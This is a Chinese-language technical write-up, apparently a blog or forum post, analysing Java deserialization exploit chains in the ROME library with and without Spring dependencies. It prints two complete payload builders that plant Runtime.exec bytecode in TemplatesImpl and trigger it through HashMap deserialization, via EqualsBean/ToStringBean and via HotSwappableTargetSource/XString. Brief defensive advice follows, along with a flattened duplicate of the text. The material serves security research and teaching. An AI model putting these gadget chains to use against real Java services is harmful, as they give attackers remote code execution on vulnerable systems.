Rome的Spring依赖下的反序列化利用链分析
字数 1323 2025-08-05 08:19:13

Rome的Spring依赖下的反序列化利用链分析

前言

本文详细分析Rome工具库在Spring依赖环境下的反序列化利用链,重点探讨与Spring相关的利用链及其实现原理。由于Rome利用链具有高度相关性,本文也会涉及非Spring环境下的基础利用链分析。

环境配置

  • JDK版本:8u201
  • 依赖库:
    <dependencies>
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.21.0-GA</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.4</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>
    

ROME库简介

ROME是一个用于处理和操作XML格式数据的工具库,主要功能包括:

  • 将XML数据转换为Java对象
  • 将Java对象转换为XML数据

危险点在于ROME提供的ToStringBean类,该类中的toString方法能够对Java Bean进行操作,这为反序列化攻击提供了可能。

基础利用链分析(非Spring环境)

TemplatesImpl利用链

基础调用栈:

TemplatesImpl#getOutputProperties() 
→ TemplatesImpl#newTransformer() 
→ TemplatesImpl#getTransletInstance() 
→ TemplatesImpl#defineTransletClasses() 
→ TransletClassLoader#defineClass()

关键点:需要找到能够触发类中getter方法的函数。

ToStringBean类分析

ToStringBean类的toString方法关键代码:

private String toString(String prefix) {
    StringBuffer sb = new StringBuffer(128);
    try {
        // 获取所有的getter方法
        PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
        if (pds != null) {
            for(int i = 0; i < pds.length; ++i) {
                String pName = pds[i].getName();
                Method pReadMethod = pds[i].getReadMethod();
                if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class 
                    && pReadMethod.getParameterTypes().length == 0) {
                    // 调用getter方法
                    Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                    this.printProperty(sb, prefix + "." + pName, value);
                }
            }
        }
    } catch (Exception var8) {
        sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() 
            + ".toString(): " + var8.getMessage() + "\n");
    }
    return sb.toString();
}

构造要点:

  1. this._beanClass需要设置为Templates.class(而非TemplatesImpl.class),因为Templates接口只有一个getter方法getOutputProperties
  2. this._obj设置为实例化的TemplatesImpl类对象

EqualsBean作为入口

调用链:

HashMap#readObject() 
→ EqualsBean#hash() 
→ EqualsBean#hashCode() 
→ ToStringBean#toString() 
→ TemplatesImpl#getProperties() 
→ ... 
→ TemplatesImpl#defineClass()

完整Payload构造代码:

public class RomeToStringBean {
    public static void setFieldValue(Object obj,String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }

    public static void main(String[] args) throws Exception{
        byte[] code = getTemplates();

        // 装载Templates
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "Evil");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 防止put触发payload
        ToStringBean toStringBean = new ToStringBean(Templates.class, new ConstantTransformer(1));
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");

        // 改成真正的payload
        setFieldValue(toStringBean, "_obj", templates);

        // 序列化与反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
}

Spring环境下的利用链分析

依赖配置

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-test</artifactId>
    <scope>test</scope>
</dependency>

利用链分析

调用流程:

  1. HashMap#readObject()触发反序列化
  2. 处理第二个<key,value>对时进入putVal()的第三个if分支
  3. 调用HotSwappableTargetSourceequals方法
  4. 内部调用XStringequals方法
  5. 最终调用ToStringBeantoString方法

关键点:

  • 使用HotSwappableTargetSourceXString组合
  • XString对象的equals方法会调用toString方法
  • 必须将含有XString对象的HotSwappableTargetSource放在第二个位置

完整Payload:

public class SpringRome1 {
    public static void setFieldValue(Object obj,String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        byte[] code = getTemplates();
        setFieldValue(templates,"_name","fanxing");
        setFieldValue(templates,"_bytecodes",new byte[][] {code});

        ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

        HashMap hashMap = new HashMap();
        hashMap.put(h1,"1");
        hashMap.put(h2,"1");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
}

关键差异总结

  1. 触发方式不同:

    • 非Spring链:通过HashMaphash()方法触发
    • Spring链:通过HashMapputVal方法触发
  2. 构造要求:

    • Spring链必须将含有XString对象的HotSwappableTargetSource放在第二个位置
    • 非Spring链需要特别注意EqualsBean的使用
  3. 调用路径:

    • 非Spring链:hashCode()toString()
    • Spring链:equals()toString()

防御建议

  1. 升级ROME库到最新版本
  2. 对反序列化操作进行严格限制
  3. 使用安全框架对危险操作进行拦截
  4. 实施代码审计,检查是否存在类似的利用链

参考资源

  • Java反序列化之ROME反序列化 - 先知社区
  • HashMap putVal方法分析文章
Rome的Spring依赖下的反序列化利用链分析 前言 本文详细分析Rome工具库在Spring依赖环境下的反序列化利用链,重点探讨与Spring相关的利用链及其实现原理。由于Rome利用链具有高度相关性,本文也会涉及非Spring环境下的基础利用链分析。 环境配置 JDK版本:8u201 依赖库: ROME库简介 ROME是一个用于处理和操作XML格式数据的工具库,主要功能包括: 将XML数据转换为Java对象 将Java对象转换为XML数据 危险点在于ROME提供的 ToStringBean 类,该类中的 toString 方法能够对Java Bean进行操作,这为反序列化攻击提供了可能。 基础利用链分析(非Spring环境) TemplatesImpl利用链 基础调用栈: 关键点:需要找到能够触发类中getter方法的函数。 ToStringBean类分析 ToStringBean 类的 toString 方法关键代码: 构造要点: this._beanClass 需要设置为 Templates.class (而非 TemplatesImpl.class ),因为 Templates 接口只有一个getter方法 getOutputProperties this._obj 设置为实例化的 TemplatesImpl 类对象 EqualsBean作为入口 调用链: 完整Payload构造代码: Spring环境下的利用链分析 依赖配置 利用链分析 调用流程: HashMap#readObject() 触发反序列化 处理第二个 <key,value> 对时进入 putVal() 的第三个if分支 调用 HotSwappableTargetSource 的 equals 方法 内部调用 XString 的 equals 方法 最终调用 ToStringBean 的 toString 方法 关键点: 使用 HotSwappableTargetSource 和 XString 组合 XString 对象的 equals 方法会调用 toString 方法 必须将含有 XString 对象的 HotSwappableTargetSource 放在第二个位置 完整Payload: 关键差异总结 触发方式不同: 非Spring链:通过 HashMap 的 hash() 方法触发 Spring链:通过 HashMap 的 putVal 方法触发 构造要求: Spring链必须将含有 XString 对象的 HotSwappableTargetSource 放在第二个位置 非Spring链需要特别注意 EqualsBean 的使用 调用路径: 非Spring链: hashCode() → toString() Spring链: equals() → toString() 防御建议 升级ROME库到最新版本 对反序列化操作进行严格限制 使用安全框架对危险操作进行拦截 实施代码审计,检查是否存在类似的利用链 参考资源 Java反序列化之ROME反序列化 - 先知社区 HashMap putVal方法分析文章